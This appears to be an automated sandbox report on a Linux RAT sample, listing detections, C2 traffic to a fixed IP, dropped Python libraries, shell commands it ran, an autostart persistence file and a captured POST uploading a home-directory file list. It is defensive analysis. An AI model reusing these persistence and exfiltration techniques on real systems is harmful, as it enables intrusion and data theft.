Linux Analysis Report
84.elf

Overview

General Information

Sample name: 84.elf
Analysis ID: 1522470
MD5: 51ac5f4bcffd208899ebe778c1725579
SHA1: 807c42578f63b569f37a95dc29267ef6c4ec9eea
SHA256: 684d950494951cda868a6d1d83e2ab8baedb7b4f2e8b079ab94771fb4fabd09a
Infos:

Detection

Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Sample and/or dropped files likely contain functionality related to malicious behavior
Sample reads /proc/mounts (often used for finding a writable filesystem)
Sample tries to persist itself using .desktop files
Uses known network protocols on non-standard ports
Writes ELF files to hidden directories
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
ELF contains segments with high entropy indicating compressed/encrypted content
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "rm" command used to delete files or directories
Executes the "uname" command used to read OS and architecture name
Sample and/or dropped files contains symbols with suspicious names
Sample has stripped symbol table
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 84.elf Avira: detected
Antivirus detection for dropped file
Source: /root/.gvfs/84.elf Avira: detection malicious, Label: LINUX/AVI.Agent.xapoa
Multi AV Scanner detection for submitted file
Source: 84.elf ReversingLabs: Detection: 58%
Source: 84.elf Virustotal: Detection: 52% Perma Link

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2829852 - Severity 1 - ETPRO MALWARE Py/Cannibal RAT Checkin M2 : 192.168.2.23:60528 -> 84.247.176.126:33548
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 60486 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60486
Source: unknown Network traffic detected: HTTP traffic on port 60488 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60488
Source: unknown Network traffic detected: HTTP traffic on port 60490 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60490
Source: unknown Network traffic detected: HTTP traffic on port 60492 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60492
Source: unknown Network traffic detected: HTTP traffic on port 60494 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60494
Source: unknown Network traffic detected: HTTP traffic on port 60496 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60496
Source: unknown Network traffic detected: HTTP traffic on port 60498 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60498
Source: unknown Network traffic detected: HTTP traffic on port 60500 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60500
Source: unknown Network traffic detected: HTTP traffic on port 60502 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60502
Source: unknown Network traffic detected: HTTP traffic on port 60504 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60504
Source: unknown Network traffic detected: HTTP traffic on port 60506 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60506
Source: unknown Network traffic detected: HTTP traffic on port 60508 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60508
Source: unknown Network traffic detected: HTTP traffic on port 60510 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60510
Source: unknown Network traffic detected: HTTP traffic on port 60512 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60512
Source: unknown Network traffic detected: HTTP traffic on port 60514 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60514
Source: unknown Network traffic detected: HTTP traffic on port 60516 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60516
Source: unknown Network traffic detected: HTTP traffic on port 60518 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60518
Source: unknown Network traffic detected: HTTP traffic on port 60520 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60520
Source: unknown Network traffic detected: HTTP traffic on port 60522 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60522
Source: unknown Network traffic detected: HTTP traffic on port 60524 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60524
Source: unknown Network traffic detected: HTTP traffic on port 60526 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60526
Source: unknown Network traffic detected: HTTP traffic on port 60528 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60528
Source: unknown Network traffic detected: HTTP traffic on port 60530 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60530
Source: unknown Network traffic detected: HTTP traffic on port 60532 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60532
Source: unknown Network traffic detected: HTTP traffic on port 60534 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60534
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60486 -> 84.247.176.126:33548
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.247.176.126
Source: unknown HTTP traffic detected: POST /api/root_265403912816988/upload HTTP/1.1Host: 84.247.176.126:33548Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.18.4Content-Length: 269Content-Type: multipart/form-data; boundary=12b1182436e74c268d609ba7cbab3f4cData Raw: 2d 2d 31 32 62 31 31 38 32 34 33 36 65 37 34 63 32 36 38 64 36 30 39 62 61 37 63 62 61 62 33 66 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 65 64 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 74 78 74 22 0d 0a 0d 0a 2e 2f 2e 62 61 73 68 72 63 0a 2e 2f 2e 70 72 6f 66 69 6c 65 0a 2e 2f 2e 73 73 68 2f 61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 0a 2e 2f 2e 63 6f 6e 66 69 67 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 2e 2f 2e 76 69 6d 69 6e 66 6f 0a 2e 2f 2e 6c 6f 63 61 6c 2f 73 68 61 72 65 2f 61 70 70 6c 69 63 61 74 69 6f 6e 73 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 0d 0a 2d 2d 31 32 62 31 31 38 32 34 33 36 65 37 34 63 32 36 38 64 36 30 39 62 61 37 63 62 61 62 33 66 34 63 2d 2d 0d 0a Data Ascii: --12b1182436e74c268d609ba7cbab3f4cContent-Disposition: form-data; name="uploaded"; filename="list.txt"./.bashrc./.profile./.ssh/authorized_keys./.config/mimeapps.list./.viminfo./.local/share/applications/mimeapps.list--12b1182436e74c268d609ba7cbab3f4c--
Source: libpython2.7.so.1.0.16.dr String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: cacert.pem.16.dr String found in binary or memory: http://www.chambersign.org
Source: libpython2.7.so.1.0.16.dr String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).
Source: libpython2.7.so.1.0.16.dr String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).xxsubtype
Source: old_root.pem.16.dr String found in binary or memory: http://www.valicert.com/
Source: PKG-INFO.16.dr String found in binary or memory: https://codecov.io/github/pyca/cryptography/coverage.svg?branch=master
Source: PKG-INFO.16.dr String found in binary or memory: https://codecov.io/github/pyca/cryptography?branch=master
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://cryptography.io
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://cryptography.io/
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: PKG-INFO.16.dr String found in binary or memory: https://github.com/pyca/cryptography
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://pypi.python.org/pypi/cryptography/
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: PKG-INFO.16.dr String found in binary or memory: https://travis-ci.org/pyca/cryptography
Source: PKG-INFO.16.dr String found in binary or memory: https://travis-ci.org/pyca/cryptography.svg?branch=master
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Sample and/or dropped files likely contain functionality related to malicious behavior
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_get_keylog_callback
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_set_keylog_callback
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_SESSION_print_keylog
Sample and/or dropped files contains symbols with suspicious names
Source: _ssl.so.16.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: _ssl.so.16.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: _ssl.so.16.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: _ssl.so.16.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: cryptography.hazmat.bindings._openssl.so.16.dr ELF static info symbol of dropped file: Cryptography_pem_password_cb
Source: cryptography.hazmat.bindings._openssl.so.16.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: cryptography.hazmat.bindings._openssl.so.16.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libcrypto.so.1.1.16.dr ELF static info symbol of dropped file: CMS_RecipientInfo_set0_password
Source: libcrypto.so.1.1.16.dr ELF static info symbol of dropped file: CMS_add0_recipient_password
Source: libcrypto.so.1.1.16.dr ELF static info symbol of dropped file: CMS_decrypt_set1_password
Source: libpython2.7.so.1.0.16.dr ELF static info symbol of dropped file: PyOS_InputHook
Source: libpython2.7.so.1.0.16.dr ELF static info symbol of dropped file: _PyImportHooks_Init
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: _rl_match_hidden_files
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_completion_word_break_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_directory_completion_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_directory_rewrite_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_event_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_execute_next
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_filename_rewrite_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_filename_stat_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_input_available_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_pre_input_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_signal_event_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_startup_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: rl_username_completion_function
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: tilde_expansion_failure_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: tilde_expansion_preexpansion_hook
Source: libreadline.so.7.16.dr ELF static info symbol of dropped file: username_completion_function
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_set_srp_password
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_set_srp_username
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_CTX_set_srp_username_callback
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_get_default_passwd_cb
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_get_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_get_srp_username
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_set_default_passwd_cb
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_set_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr ELF static info symbol of dropped file: SSL_srp_server_param_with_username
Source: readline.so.16.dr ELF static info symbol of dropped file: PyOS_InputHook
Source: readline.so.16.dr ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: readline.so.16.dr ELF static info symbol of dropped file: rl_pre_input_hook
Source: readline.so.16.dr ELF static info symbol of dropped file: rl_startup_hook
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal92.troj.evad.linELF@0/39@0/0

Persistence and Installation Behavior
barindex
Sample reads /proc/mounts (often used for finding a writable filesystem)
Source: /tmp/84.elf (PID: 6257) File: /proc/6257/mounts Jump to behavior
Sample tries to persist itself using .desktop files
Source: /tmp/84.elf (PID: 6257) File: /root/.config/autostart/gvfs.desktop Jump to behavior
Writes ELF files to hidden directories
Source: /tmp/84.elf (PID: 6257) File written to hidden directory: /root/.gvfs/84.elf Jump to dropped file
Creates hidden files and/or directories
Source: /tmp/84.elf (PID: 6257) Directory: /root/.gvfs Jump to behavior
Source: /usr/bin/find (PID: 6385) Directory: /root/. Jump to behavior
Source: /usr/bin/find (PID: 6385) Directory: /root/. Jump to behavior
Source: /usr/bin/find (PID: 6385) Directory: /root/.cache Jump to behavior
Source: /usr/bin/find (PID: 6385) Directory: /root/.ssh Jump to behavior
Source: /usr/bin/find (PID: 6385) Directory: /root/.config Jump to behavior
Source: /usr/bin/find (PID: 6385) Directory: /root/.local Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/84.elf (PID: 6260) Shell command executed: sh -c "uname -p 2> /dev/null" Jump to behavior
Source: /tmp/84.elf (PID: 6384) Shell command executed: sh -c "cd; find . -type f > /tmp/list.txt" Jump to behavior
Source: /tmp/84.elf (PID: 6389) Shell command executed: sh -c "chmod +x /root/.gvfs/84.elf" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6390) Chmod executable: /usr/bin/chmod -> chmod +x /root/.gvfs/84.elf Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6228) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz Jump to behavior
Source: /usr/bin/dash (PID: 6229) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz Jump to behavior
Sample tries to set the executable flag
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_cffi_backend.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_codecs_cn.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_codecs_hk.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_codecs_iso2022.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_codecs_jp.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_codecs_kr.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_codecs_tw.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_ctypes.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_hashlib.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_json.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_multibytecodec.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/_ssl.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/bz2.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._constant_time.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._openssl.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libbz2.so.1.0 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libcrypto.so.1.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libexpat.so.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libffi.so.6 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libpython2.7.so.1.0 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libreadline.so.7 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libssl.so.1.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libtinfo.so.5 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/libz.so.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/pyexpat.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/readline.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/resource.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/termios.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/certifi/cacert.pem (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/certifi/old_root.pem (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/certifi/weak.pem (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/PKG-INFO (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/dependency_links.txt (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/not-zip-safe (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/requires.txt (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/84.elf (PID: 6254) File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/top_level.txt (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6390) File: /root/.gvfs/84.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes ELF files to disk
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_cffi_backend.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_codecs_cn.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_codecs_hk.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_codecs_iso2022.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_codecs_jp.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_codecs_kr.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_codecs_tw.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_ctypes.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_hashlib.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_json.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_multibytecodec.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/_ssl.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/bz2.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._constant_time.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._openssl.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libbz2.so.1.0 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libcrypto.so.1.1 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libexpat.so.1 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libffi.so.6 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libpython2.7.so.1.0 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libreadline.so.7 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libssl.so.1.1 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libtinfo.so.5 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/libz.so.1 Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/pyexpat.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/readline.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/resource.so Jump to dropped file
Source: /tmp/84.elf (PID: 6254) File written: /tmp/_MEITTIAO4/termios.so Jump to dropped file
Source: /tmp/84.elf (PID: 6257) File written: /root/.gvfs/84.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 60486 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60486
Source: unknown Network traffic detected: HTTP traffic on port 60488 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60488
Source: unknown Network traffic detected: HTTP traffic on port 60490 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60490
Source: unknown Network traffic detected: HTTP traffic on port 60492 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60492
Source: unknown Network traffic detected: HTTP traffic on port 60494 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60494
Source: unknown Network traffic detected: HTTP traffic on port 60496 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60496
Source: unknown Network traffic detected: HTTP traffic on port 60498 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60498
Source: unknown Network traffic detected: HTTP traffic on port 60500 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60500
Source: unknown Network traffic detected: HTTP traffic on port 60502 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60502
Source: unknown Network traffic detected: HTTP traffic on port 60504 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60504
Source: unknown Network traffic detected: HTTP traffic on port 60506 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60506
Source: unknown Network traffic detected: HTTP traffic on port 60508 -> 33548
Source: unknown Network traffic detected: HTTP traffic on port 33548 -> 60508
